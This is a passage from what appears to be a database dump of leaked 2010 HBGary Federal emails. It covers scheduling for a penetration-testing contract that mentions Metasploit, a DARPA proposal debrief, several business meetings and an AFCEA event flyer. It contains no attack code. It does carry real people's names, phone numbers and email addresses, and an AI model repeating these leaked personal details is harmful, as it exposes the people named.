Questions\r\n>>>\r\n>>> Aaron,\r\n>>>\r\n>>>\r\n>>>\r\n>>> While read the technical proposal on the piece that you submitted to us that\r\n>>> we included outlining in detail your approach, they came across this\r\n>>> statement:\r\n>>>\r\n>>>\r\n>>>\r\n>>> We will utilize the Metasploit Framework, an open-source penetration testing\r\n>>> tool to launch most attacks.  The Metasploit Framework is modular, allowing\r\n>>> us to easily create and add new attack modules. To exploit a system\r\n>>> utilizing Metasploit, the msfconsole will be executed on an attack machine\r\n>>> (we will provide laptops).\r\n>>>\r\n>>>\r\n>>>\r\n>>> The security issue they have is the \"We will provide laptops\" as they can\'t\r\n>>> have foreign laptops connect to their network.  If they provided the\r\n>>> laptops, could you load the software you needed on it and executed from\r\n>>> their laptop?  If so, how many hours would it take to do so?  If not, what\r\n>>> other alternatives are there?  Thanks.\r\n>>>\r\n>>>\r\n>>>\r\n>>> Jerry\r\n>>>\r\n>>>\r\n>>>\r\n>>> From: Ira Entis\r\n>>> Sent: Monday, June 14, 2010 3:44 PM\r\n>>> To: Aaron Barr; Jerry McClure\r\n>>> Subject: Fwd: my info\r\n>>>\r\n>>>\r\n>>>\r\n>>> Guys -- does this new time work for you?\r\n>>>\r\n>>> - Ira\r\n>>>\r\n>>> Begin forwarded message:\r\n>>>\r\n>>> From: \"Taylor, David A\" \r\n>>> Date: June 14, 2010 3:33:51 PM EDT\r\n>>> To: Ira Entis \r\n>>> Cc: \"Gore, James E\" , \"Martinez, Timmy L\" \r\n>>> Subject: FW: my info\r\n>>>\r\n>>> Today\'s meeting will have to be canceled.\r\n>>>\r\n>>> Jim Gore is out of town.\r\n>>>\r\n>>> We can have the meeting to discuss the rules of engagement at 11:30 MDT\r\n>>> Tues. 6/15/10.\r\n>>>\r\n>>> My apologies for the late notice. I just found out.\r\n>>>\r\n>>>\r\n>>>\r\n>>> David Taylor\r\n>>>\r\n>>> 505-667-6884\r\n>>>\r\n>>> dataylor@lanl.gov\r\n>>>\r\n>>>\r\n>>>\r\n>>> From: Taylor, David A\r\n>>> Sent: Thursday, June 10, 2010 8:31 AM\r\n>>> To: \'Ira Entis\'\r\n>>> Cc: \'Martinez, Timmy L\'; Bryant, Doris B; Bryant, Jeffery A; Gore, James E;\r\n>>> Lamb, James B\r\n>>> Subject: RE: my info\r\n>>>\r\n>>>\r\n>>>\r\n>>> Ira\r\n>>>\r\n>>>\r\n>>>\r\n>>> Good to talk this morning.\r\n>>>\r\n>>> I am glad you have everything you need to review the PR.\r\n>>>\r\n>>> Below is a rough outline of key dates for your folks as we understand them.\r\n>>>\r\n>>>\r\n>>>\r\n>>> The following are dates that we have that you should know.\r\n>>>\r\n>>> PR was to have been sent on 6/3.\r\n>>>\r\n>>> You have this week to review.\r\n>>>\r\n>>> We would need to make the award by 6/21 so that we could get started on the\r\n>>> background check.\r\n>>>\r\n>>> We expect that to take 3 weeks.\r\n>>>\r\n>>> Jim Gore would be at training on 7/13 - 7/16.\r\n>>>\r\n>>> We finish up hardening and testing 7/19 - 7/26\r\n>>>\r\n>>> We would review testing with your folks  on 7/28\r\n>>>\r\n>>> Your folks would be out here testing on the week of 8/9 - 8/13.\r\n>>>\r\n>>> We are assuming that you would be able to do the unix and app penetration\r\n>>> testing simultaneously for both iRecruit and iSupplier during the same week.\r\n>>>\r\n>>> We would review test results on 8/16.\r\n>>>\r\n>>> We would then expect a written report on 8/30.\r\n>>>\r\n>>>\r\n>>>\r\n>>> If you need anything or have any questions do not hesitate to let me know.\r\n>>>\r\n>>> Thanks.\r\n>>>\r\n>>>\r\n>>>\r\n>>> David Taylor\r\n>>>\r\n>>> 505-667-6884\r\n>>>\r\n>>> dataylor@lanl.gov\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> From: Ira Entis [mailto:Ira.Entis@agilex.com]\r\n>>> Sent: Thursday, April 22, 2010 2:01 PM\r\n>>> To: Taylor, David A\r\n>>> Subject: my info\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> Ira S. Entis\r\n>>> President, Government Services Sector\r\n>>>\r\n>>> Agilex Technologies, Inc.\r\n>>> 5155 Parkstone Drive  |  Chantilly, VA 20151  |  www.agilex.com\r\n>>> p:703.889.3900  |   m: 703.969.3200\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16055,'aaron_hbgary_com/16055.html'),(7765,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006003.M901489P14101Q2620.eml','\"Scott Suhy\" <Scott.Suhy@pointabout.com>','Re: Meeting','How does wednesday work?\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 23, 2010, at 4:39 PM, Scott Suhy  wrote:\r\n\r\n> Yes, what day?\r\n>\r\n> ____________________________________________________\r\n> Scott B. Suhy\r\n> CEO, PointAbout Inc.\r\n> Cell: 202.557.6937\r\n> 1410 Q street NW Washington, DC 20009 (http://1410q.com)\r\n> skype:scott.suhy\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, June 23, 2010 2:49 PM\r\n> To: Scott Suhy\r\n> Subject: Meeting\r\n>\r\n> Hi Scott,\r\n>\r\n> Do you have some time to meet with the Prime next week for the opportunity I\r\n> was discussing.  The meeting would be in Chantilly.  We would like to bring\r\n> PointAbout on the team.  As I mentioned its a $35-60M multi-year new media\r\n> development effort.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.829 / Virus Database: 271.1.1/2957 - Release Date: 06/23/10\r\n> 02:36:00\r\n>\r\n',9200,'aaron_hbgary_com/9200.html'),(7766,'2010-06-24','\"DARPA-BAA-10-36\" <DARPA-BAA-10-36@darpa.mil>','/aaron@hbgary.com/new/1297006004.M503139P14101Q2621.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"DARPA-BAA-10-36\" <DARPA-BAA-10-36@darpa.mil>','RE: Cyber Genome Proposal De-Brief','Good Afternoon,\r\n\r\nUpon arrival at the SPC building on 29 Jun 2010 for the Cyber Genome debrief, please report to the 6th floor, and check in with the receptionist in the lobby. Please let me know if you have any questions/concerns.\r\n\r\nMatthew King\r\nSETA\r\nDARPA/STO\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 14, 2010 11:29 AM\r\nTo: DARPA-BAA-10-36\r\nSubject: Re: Cyber Genome Proposal De-Brief\r\n\r\nHi Matt,\r\n\r\nYes we are still planning on attending:\r\nAaron Barr\r\nBob Slapnik\r\n\r\nHave the awardees been announced yet?\r\n\r\nThanks,\r\nAaron\r\n\r\nOn Jun 14, 2010, at 11:27 AM, DARPA-BAA-10-36 wrote:\r\n\r\n> Mr. Barr,\r\n> \r\n> Just wanted to check and see if you were planning on attending the de-brief for your proposal on 29 Jun 2010. Please confirm with the names of who will be attending.\r\n> \r\n> Thank you.\r\n> \r\n> Matthew King\r\n> SETA\r\n> DARPA/STO\r\n> \r\n> -----Original Message-----\r\n> From: DARPA-BAA-10-36 \r\n> Sent: Monday, May 17, 2010 10:18 AM\r\n> To: Aaron Barr\r\n> Cc: DARPA-BAA-10-36\r\n> Subject: Cyber Genome Proposal De-Brief\r\n> \r\n> Dear Mr. Barr,\r\n> \r\n> \r\n> \r\n> An informal feedback sessions regarding your proposal to DARPA BAA 10-36 has been scheduled on 29 June 2010 at 1045L. The location is the System Planning Corporation (SPC) in Arlington VA (see attached direction sheet).  Please plan on the de-brief lasting no longer than 15 minutes and limit the number of participants to four (4) people or less.\r\n> \r\n> \r\n> \r\n> Upon arrival to the SPC building, please proceed to the 5th floor and check in at the visitors desk, where you will receive your Visitors Badge. From here you will be escorted to your meeting.  At this time, 29 June 2010 will be the only date offered for BAA 10-36 informal out-briefs.\r\n> \r\n> \r\n> \r\n> Please RSVP soonest to DARPA-BAA-10-36@darpa.mil with who will be attending from your company.  \r\n> \r\n> \r\n> \r\n> If you have any questions/concerns, please contact my Program SETA for this effort, Matthew King at DARPA-BAA-10-36@darpa.mil\r\n> \r\n> \r\n> \r\n> Mike\r\n> \r\n> \r\n> \r\n> Michael VanPutte, Ph.D. \r\n> \r\n> Program Manager \r\n> \r\n> Defense Advanced Research Projects Agency\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6718,'aaron_hbgary_com/6718.html'),(7767,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006004.M772131P14101Q2622.eml','\"Strang, Larry (TASC)\" <larry.strang@tasc.com>','Re: Discussion on cyber','My badge doesn\'t work on your door.  Outside looking in.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 23, 2010, at 10:05 AM, \"Strang, Larry (TASC)\"\r\n wrote:\r\n\r\n> Kule, but need to make it 2:30 to allow for overrun from the one sched\r\n> to end at 2.  Office is 2701 Technology Drive, AJ.  Phone is\r\n> 240-456-2004, call me from front desk and I\'ll come get you.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, June 23, 2010 8:00 AM\r\n> To: Strang, Larry (TASC)\r\n> Subject: Re: Discussion on cyber\r\n>\r\n> Lol great ok so how about 2pm @your office?  Can you send me the\r\n> address?\r\n>\r\n> Thanks\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Jun 23, 2010, at 7:55 AM, \"Strang, Larry (TASC)\"\r\n> > wrote:\r\n>\r\n>> Meant Thursday.  Sorry.  Same times, different day.\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, June 23, 2010 7:53 AM\r\n>> To: Strang, Larry (TASC)\r\n>> Subject: Re: Discussion on cyber\r\n>>\r\n>> Today or tomorrow?  We thinking of meeting Thursday right?\r\n>>\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Jun 23, 2010, at 7:45 AM, \"Strang, Larry (TASC)\"\r\n>> >> wrote:\r\n>>\r\n>>> Hi Aaron,\r\n>>>\r\n>>> I have an 8-10 and a 11-1 today so later is better.  Let me know,\r\n>>>\r\n>>>  Larry\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Tuesday, June 22, 2010 9:05 PM\r\n>>> To: Strang, Larry (TASC)\r\n>>> Subject: Re: Discussion on cyber\r\n>>>\r\n>>> OK.  I have a meeting at 11:00 at FANX.  Can we meet earlier in the\r\n>>> morning or 2pm or later?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> On Jun 22, 2010, at 6:54 AM, Strang, Larry (TASC) wrote:\r\n>>>\r\n>>>> Am in the Navy symposium in HCC all day today.  Looks like Thursday\r\n>>> for\r\n>>>> right now.\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Monday, June 21, 2010 6:39 PM\r\n>>>> To: Strang, Larry (TASC)\r\n>>>> Subject: Re: Discussion on cyber\r\n>>>>\r\n>>>> Sure.  I can do thursday, unless you can do tomorrow morning?  I am\r\n>>>> in\r\n>>>> MD all tomorrow.\r\n>>>>\r\n>>>> Your call.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> Sent from my iPad\r\n>>>>\r\n>>>> On Jun 21, 2010, at 5:57 PM, \"Strang, Larry (TASC)\"\r\n>>>>  wrote:\r\n>>>>\r\n>>>>> Whoops, life at the speed of cyber just struck; am now headed to\r\n>>>>> one\r\n>>>> of\r\n>>>>> the local colleges Wed afternoon to work on a cyber curriculum so\r\n>>>>> we\r\n>>>>> will have to look at another time. Your next best opportunity?\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Monday, June 21, 2010 5:33 PM\r\n>>>>> To: Strang, Larry (TASC)\r\n>>>>> Subject: Re: Discussion on cyber\r\n>>>>>\r\n>>>>> We\'d afternoon would be great if you have the time then.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>> Sent from my iPad\r\n>>>>>\r\n>>>>> On Jun 21, 2010, at 4:45 PM, \"Strang, Larry (TASC)\"\r\n>>>>>  wrote:\r\n>>>>>\r\n>>>>>> I sit in AJ but also spend a day or two a week in Chantilly.\r\n>>> Thursday\r\n>>>>> I\r\n>>>>>> am in AJ but I can carve some time out of Wed when I will be in\r\n>>>>>> Chantilly in the afternoon.  Thoughts\r\n>>>>>>\r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>>> Sent: Monday, June 21, 2010 10:41 AM\r\n>>>>>> To: Strang, Larry (TASC)\r\n>>>>>> Subject: Re: Discussion on cyber\r\n>>>>>>\r\n>>>>>> Ha.  I like the three bears comment!  And I can see it would be a\r\n>>>> much\r\n>>>>>> better fit, not so big, mission not so spread out.  You can focus\r\n>>> you\r\n>>>>>> energies to help them develop a cyber strategy within a much more\r\n>>>>>> defined context.  Still any cyber strategy effort today is not\r\n>>>> without\r\n>>>>>> its challenges, the government just is not getting its act\r\n>>>>>> together.\r\n>>>>>>\r\n>>>>>> Thanks.  Like you this feels just right.  I am having a blast, the\r\n>>>>>> anxiety and exhilaration of trying to build a business is an\r\n>>>>> invaluable\r\n>>>>>> experience for me.  I am not happy with the manner in which I\r\n>>>>>> left,\r\n>>>>> but\r\n>>>>>> alls well that ends well and I have maintained good relationships\r\n>>>> with\r\n>>>>>> just about all of my previous close coworkers.  I sit in\r\n>>>>> Tysons/Mclean.\r\n>>>>>> We don\'t have a DC office yet, main offices in Sacramento and\r\n>>>> Colorado\r\n>>>>>> Springs.  So I do meetings/home/coffeeshop/rentaoffice in that\r\n>>> order.\r\n>>>>>> This week I have Thursday open and am pretty open next week.  I\r\n>>>>>> will\r\n>>>>> be\r\n>>>>>> in Chantilly on Wednesday working on a proposal with Al\'s group, I\r\n>>> am\r\n>>>>>> not sure where you sit.  Let me know when you have some\r\n>>> availability.\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>>\r\n>>>>>> On Jun 21, 2010, at 10:31 AM, Strang, Larry (TASC) wrote:\r\n>>>>>>\r\n>>>>>>> Hey Aaron,\r\n>>>>>>>\r\n>>>>>>> Great to hear from you; how are things at HBGary?  Thanks for the\r\n>>>>>>> tentative congratulations but I will tell you I am pleased to be\r\n>>>>> here.\r\n>>>>>>> Northrop is a great company, just way too big, and like the three\r\n>>>>>> bears\r\n>>>>>>> said, this one is JUST right.  Or at least it is so far.  And\r\n>>>>>>> many\r\n>>>> of\r\n>>>>>>> your friends here still remember you well.  I think I saw where\r\n>>> your\r\n>>>>>>> duty title was the CEO and so I am duly impressed.\r\n>>>>>>> Congratulations\r\n>>>>>>> yourself.  Where do you actually sit?  When would you like to get\r\n>>>>>>> together?  Let me know and we\'ll make it happen,\r\n>>>>>>>\r\n>>>>>>>  Larry\r\n>>>>>>>\r\n>>>>>>> -----Original Message-----\r\n>>>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>>>> Sent: Wednesday, June 16, 2010 9:55 AM\r\n>>>>>>> To: Strang, Larry (TASC)\r\n>>>>>>> Subject: Discussion on cyber\r\n>>>>>>>\r\n>>>>>>> Hi Larry,\r\n>>>>>>>\r\n>>>>>>> Congratulations... I think. ;)\r\n>>>>>>>\r\n>>>>>>> Attached is our datasheet for information security services.  I\r\n>>>> would\r\n>>>>>>> like to get together at your convenience to talk cyber.  I had a\r\n>>>>> brief\r\n>>>>>>> meeting with Wood last week and mentioned to him, if\r\n>>>>>>> interested, i\r\n>>>>>> would\r\n>>>>>>> like to work together.  TASC is a second home for me and contains\r\n>>>>> many\r\n>>>>>>> friends.\r\n>>>>>>>\r\n>>>>>>> Aaron\r\n>>>>>>\r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n',14473,'aaron_hbgary_com/14473.html'),(7768,'2010-06-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006005.M144607P14101Q2623.eml','\"Scott Chappell\" <scott.chappell@smdc-cs.army.mil>,\"Scott Chappell\" <scott.chappell@smdc-cs.army.mil>','BAE','Hi Scott,\r\n\r\nWe made it back from Florida last night, we had a great time.  My feet\r\nare still killing me from spending two days at Disney, lol.\r\n\r\nI wanted to follow-up with you about the BAE position you mentioned on\r\nthe phone.  When would be a good time to meet to discuss?  Have you\r\nsent my contact info to their PM? I haven\'t been contacted by anyone.\r\nAaron Barr is prepared to travel to meet if we need to have classified\r\ndiscussions.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',1351,'aaron_hbgary_com/1351.html'),(7769,'2010-06-24','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006005.M472382P14101Q2624.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Finally got an answer','Got it.  Good luck.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, June 24, 2010 9:52 AM\r\nTo: Bob Slapnik\r\nSubject: Finally got an answer\r\n\r\nHi Bob,\r\n\r\nWe are going to have a classified conversation.  They are really interested\r\nin the New Media aspects at the moment, but I am going to talk about Active\r\nDefense through the integration with Fidelis and what we can do as a\r\nsolution for new media.  Hopefully I can segway that into a longer\r\nconversation about Active Defense.  We are not going to do any demos for\r\nthis discussion.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2960 - Release Date: 06/24/10\r\n02:35:00\r\n\r\n',8922,'aaron_hbgary_com/8922.html'),(7770,'2010-06-24','\"AFCEA DC Events\" <events@afceadc.org>','/aaron@hbgary.com/new/1297006006.M54358P14101Q2625.eml','aaron@hbgary.com','We recommend our sister Chapter\'s AFCEA NOVA Agencies IT Day, with DISA, STRATCOM, DLA, MHS & other DoD Agencies - July 15, Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     The \r\n        2nd Annual AFCEA NOVA Combat Support IT Day has a new name:\r\n        \r\n        Warfighter Support\r\n        AGENCIES IT DAY\r\n        Challenges &amp; Needs -\r\n        Solutions &amp; Capabilities\r\n      July \r\n        15, 2010 - 8am-5pm\r\n        Sheraton Premiere, Tysons Corner\r\n        www.afceanova.org/agenciesitday\r\n      Speakers\r\n      \r\n        Maj. \r\n          Gen. Ronnie D. Hawkins, USAF - Vice Director, Defense Information \r\n          Systems Agency (DISA) (confirmed)\r\n        Mr. \r\n          Kenneth S. Callicutt - Director of Capability and Resource \r\n          Integration (J8), U.S. Strategic Command (USSTRATCOM) (confirmed)\r\n        BG \r\n          Brian J. Donahue, USA - J6, U.S. Central Command (USCENTCOM) \r\n          (invited)\r\n        Mr. \r\n          Charles Campbell - CIO, MHS (confirmed)\r\n        Mr. \r\n          David Fisher - Director, Defense Business Transformation Agency \r\n          (BTA) (confirmed)\r\n        Mr. \r\n          Anthony &#8220;Tony&#8221; Montemarano - Component Acquisition \r\n          Executive, Defense Information Systems Agency (DISA) (confirmed)\r\n        Ms. \r\n          Paige Atkins - Director of the Strategic Planning and Information \r\n          Directorate, Defense Information Systems Agency (DISA) (confirmed)\r\n        Mr. \r\n          Thomas Michelli - Director Enterprise Solutions, Defense Logistics \r\n          Agency (DLA) (confirmed)\r\n        Mr. \r\n          Frank Larkin - Director, Counter IED Operations Integration \r\n          Center (COIC), Joint IED Defeat Organization (JIEDDO)\r\n        Mr. \r\n          Henry Sienkiewicz - CIO, DISA (confirmed)\r\n        Mr. \r\n          Dave Bennett - Dep PEO-GES, DISA (confirmed)\r\n        Mr. \r\n          Martin Gross - Dep PEO-C2C, DISA (confirmed)\r\n        Medical \r\n          IT Panel \r\n          \r\n            Lt \r\n              Col Kevin P Seeley, USAF, MSC, CHE, CPHIMS - Air Force \r\n              Medical Service Assistant CIO &amp; Chief, Enterprise Architecture \r\n              Division, Air Force Medical Support Agency (confirmed)\r\n            Col. \r\n              Claude Hines - Deputy Program Executive Officer, Health \r\n              Information Management System (DHIMS) (confirmed)\r\n            Mr. \r\n              Gilmer - Chief Technology Officer, US Army Northern Regional Medical \r\n              Command (ACSIM) Walter Reed AMC (DOIM) (invited)\r\n            Navy \r\n              BUMED (invited)\r\n          \r\n        \r\n        Mr. \r\n          Keith Seaman, Acting Director, DBSAE Business Transformation \r\n          (confirmed) \r\n        Mr. \r\n          Dave Belva, CIO, Defense Threat Reduction Agencey (DTRA) (confirmed)\r\n        Mr. \r\n          Dave Devries, DoD Chief Architect &amp; Principal Director, \r\n          DoD Deputy CIO, Office of the ASD-NII/DoD-CIO (confirmed)\r\n      \r\n      About \r\n        Agencies IT Day\r\n      AFCEA \r\n        NOVA leads the way in focusing industry&#8217;s attention on IT capabilities \r\n        that are important to the Department of Defense by presenting the 2nd \r\n        Annual &quot;Warfighter Support Agencies IT Day&quot; (formerly named \r\n        Combat Support IT Day). This event goes beyond our traditional Uniformed \r\n        Services IT Days &amp; focuses on the Agencies and Commands who Support \r\n        the Warfighter in their operational &amp; business missions. See details \r\n        below on the highlighted agencies and why you should be following them.\r\n      This one \r\n        day conference presents an outstanding opportunity to hear from the key \r\n        DoD organizations providing vital IT systems and capabilities to support \r\n        our Warfighting Services. The theme is &#8220;Warfighter IT Support &#8211; \r\n        Challenges &amp; Needs - Solutions &amp; Capabilities&#8221; and the speakers \r\n        will address their visions, requirements, challenges, strategies, and \r\n        potential procurements.\r\n      Program \r\n        highlights include:\r\n      \r\n         Briefs \r\n          from STRATCOM, MHS, JIEDDO, BTA, DLA (see below why these \r\n          are agencies you should be following)\r\n        An Afternoon \r\n          with the DISA (did you miss Nashville? come to Agencies \r\n          IT Day)\r\n        Healthcare \r\n          Panel, and Town-Hall\r\n        Parallel \r\n          Small Business Program with speakers from BTA, DTRA, DLA, USTRANSCOM\r\n         Tribute \r\n          to WW II Veteran Colonel William Ryan, Jr.\r\n      \r\n      &#8220;An \r\n        Afternoon with DISA&#8221;\r\n      DEFENSE \r\n        INFORMATION SYSTEMS AGENCY (DISA).&nbsp; Our featured agency \r\n        for the afternoon is DISA, a Combat Support Agency that engineers and \r\n        provides command and control capabilities and enterprise infrastructure \r\n        to continuously operate and assure a global net-centric enterprise in \r\n        direct support to joint warfighters, National level leaders, and other \r\n        mission and coalition partners across the full spectrum of operations.&nbsp; \r\n        DISA manages over $6B of acquisitions and contracts, and continues its \r\n        build of the Global Information Grid (GIG), providing Netcentric Enterprise \r\n        Services to access, post, process, use, store, and manage information \r\n        on demand, providing world-class computing services, and overseeing the \r\n        evolution of existing DOD Command and Control (C2) systems. Their largest \r\n        IT contract, GIG Services Management Operations (formerly DISN Global \r\n        Solutions) is valued at $4.6B and is facing a recompete. In addition, \r\n        DISA oversees acquisition of three other ACAT I major programs, three \r\n        major services acquisitions, and about 50 smaller programs. They are about \r\n        to recompete other contracts for small businesses such as GSM Engineering, \r\n        Transition, and implementation, valued at $300M. More upcoming business \r\n        opportunities include Future Commercial SATCOM Services (FCSA), and multiple \r\n        solicitations in Cyber Security and Information Assurance, Joint Command \r\n        and Control, Enterprise Services, Spectrum Support, Internal Operations \r\n        Support, and Physical Security. \r\n      At this IT \r\n        Day, DISA plans to unveil their new approach towards IT that will affect \r\n        their management and acquisitions going forward.&nbsp; DISA will also \r\n        be in the midst of moving from Virginia to the Ft Meade campus.&nbsp; \r\n        Throughout these changes, DISA will depend on their industry partners.&nbsp;\r\n      Additional \r\n        Featured Speakers from the following Agencies:\r\n      JOINT \r\n        IED DEFEAT ORGANIZATION (JIEDDO) leads DoD actions to rapidly \r\n        provide Counter Improvised Explosive Device capabilities in support of \r\n        the Combatant Commanders and to enable the defeat of the IED as a weapon \r\n        of strategic influence.\r\n      MILITARY \r\n        HEALTH SYSTEM (MHS) provides healthcare services in support of \r\n        the nation&#8217;s military mission.&nbsp; They acquire almost $2B to \r\n        meet the medical needs of the war fighter and to capture and manage patient \r\n        health data from the foxhole to the medical treatment facilities.&nbsp; \r\n        MHS maintains military electronic health records, manages medical combat \r\n        support systems, and medical supply logistics systems.&nbsp; The Military \r\n        Health System\'s Electronic Health Record is a high priority. Currently \r\n        a system of systems, it provides access to patient data across austere \r\n        and low bandwidth environments, as well as in brick and mortar hospitals.&nbsp; \r\n        MHS is continually evolving these systems and capabilities to better support \r\n        enhanced care for more than 9.6M beneficiaries. MHS challenges include \r\n        system performance/interoperability and increased data sharing as the \r\n        veteran population grows. Their first step is to stabilize and improve \r\n        what currently exists to increase speed, reliability, and provide the \r\n        end users with an improved look and feel.&nbsp; This will be followed \r\n        with updates and added versatility, while remaining operational 24/7 to \r\n        ensure patient data is in the hands of those who need it, where they need \r\n        it, and when they need it to care for our Service members, their family \r\n        members, and our retirees.&nbsp;&nbsp;\r\n      BUSINESS \r\n        TRANSFORMATION AGENCY (BTA) guides the transformation of business \r\n        operations throughout the Department of Defense and delivers Enterprise-level \r\n        capabilities that align to warfighter needs. The BTA through its 8 directorates \r\n        is recognized as the champion for driving and accelerating improvements \r\n        to business operations across the Department of Defense. To accomplish \r\n        the goal of providing consistency, consolidation and coordination across \r\n        the Department of Defense, the BTA produced the Enterprise Transition \r\n        Plan (ETP) -- an integrated and executable roadmap that observes the standards \r\n        laid out in the Business Enterprise Architecture (BEA). The ETP and the \r\n        BEA enable the Department to transform business operations to achieve \r\n        improved warfighter support while enabling financial accountability across \r\n        the Department of Defense.\r\n      DEFENSE \r\n        LOGISTICS AGENCY (DLA), the largest DOD combat support agency, \r\n        provides worldwide logistics support to both military and civilian agencies \r\n        and foreign countries.&nbsp; DLA manages over 5.2 million items through \r\n        eight supply chains with sales and services exceeding $42B in FY08.&nbsp; \r\n        They have numerous IT initiatives underway and planned to support the \r\n        management of supply chains, warehousing and depots, and IT infrastructure.\r\n      US \r\n        STRATEGIC COMMAND (USSTRATCOM) is one of 10 U.S. unified commands \r\n        under the Department of Defense (DOD). The Command, including components, \r\n        employs more than 2,700 people, representing all four services, including \r\n        DoD Civilians and contractors, who oversee the command\'s operationally \r\n        focused global strategic mission. The missions of USSTRATCOM are to deter \r\n        attacks on U.S. vital interests, to ensure U.S. freedom of action in space \r\n        and cyberspace, to deliver integrated kinetic and non-kinetic effects \r\n        to include nuclear and information operations in support of U.S. Joint \r\n        Force Commander operations, to synchronize global missile defense plans \r\n        and operations, to synchronize regional combating of weapons of mass destruction \r\n        plans, to provide integrated surveillance and reconnaissance allocation \r\n        recommendations to the SECDEF, and to advocate for capabilities as assigned. \r\n        \r\n      WORLD \r\n        WAR II VETERAN Colonel William Ryan, Jr. served with the 15th \r\n        Infantry Regiment, 3rd Infantry Division from November 1944 until the \r\n        end of the war.&nbsp; He commanded I Company, 3rd Battalion, in the fighting \r\n        for Sigolsheim, Bennwihr, and Mittelwihr outside of Colmar, France in \r\n        December &#8216;44 and for the rest of the Battle of the Colmar Pocket \r\n        into February &#8216;45. He was wounded on 15 March 1945 going through \r\n        the Siegfried Line and didn\'t return to the Regiment until late April. \r\n        After the war he became a missile man, and rose to Colonel in that branch.&nbsp; \r\n        He retired in 1996, with 53 years on active duty, having served almost \r\n        30 years with the American Battle Monuments Commission.\r\n      Why \r\n        Should You Attend?\r\n      \r\n        If you \r\n          are serving our nation in uniform or through civil service, this provides \r\n          a unique opportunity for professional development - with access to senior \r\n          leaders in Government and Industry.\r\n        If you \r\n          are in industry, or other organization supporting our military Agencies \r\n          &amp; Services, then this is one of the best events in the region to \r\n          help you identify opportunities to grow your business in this market \r\n          space.\r\n         Together \r\n          the agencies represented spend billions on a wide variety of IT services \r\n          and products!!!\r\n      \r\n      Mark \r\n        your calendars for July 15th and register now online:\r\n      Register \r\n        to Sponsor Agencies IT Day\r\n      Register \r\n        to Attend Agencies IT Day\r\n      For \r\n        more Information, please Contact:\r\n        AFCEA NOVA Staff @ CAPLEAD, events@afceanova.org, tel: 703-549-6911\r\n      Plus, \r\n        Don\'t Miss: \r\n      \r\n         Agency \r\n          display booths throughout the lobby\r\n        Small \r\n          Business Plenary \r\n          Sessions &amp; Small-group Meetings - \r\n          runs in the morning and afternoon, parallel to the full conference\r\n          \r\n      \r\n    &nbsp;\r\n    \r\n    \r\n      \r\n        \r\n          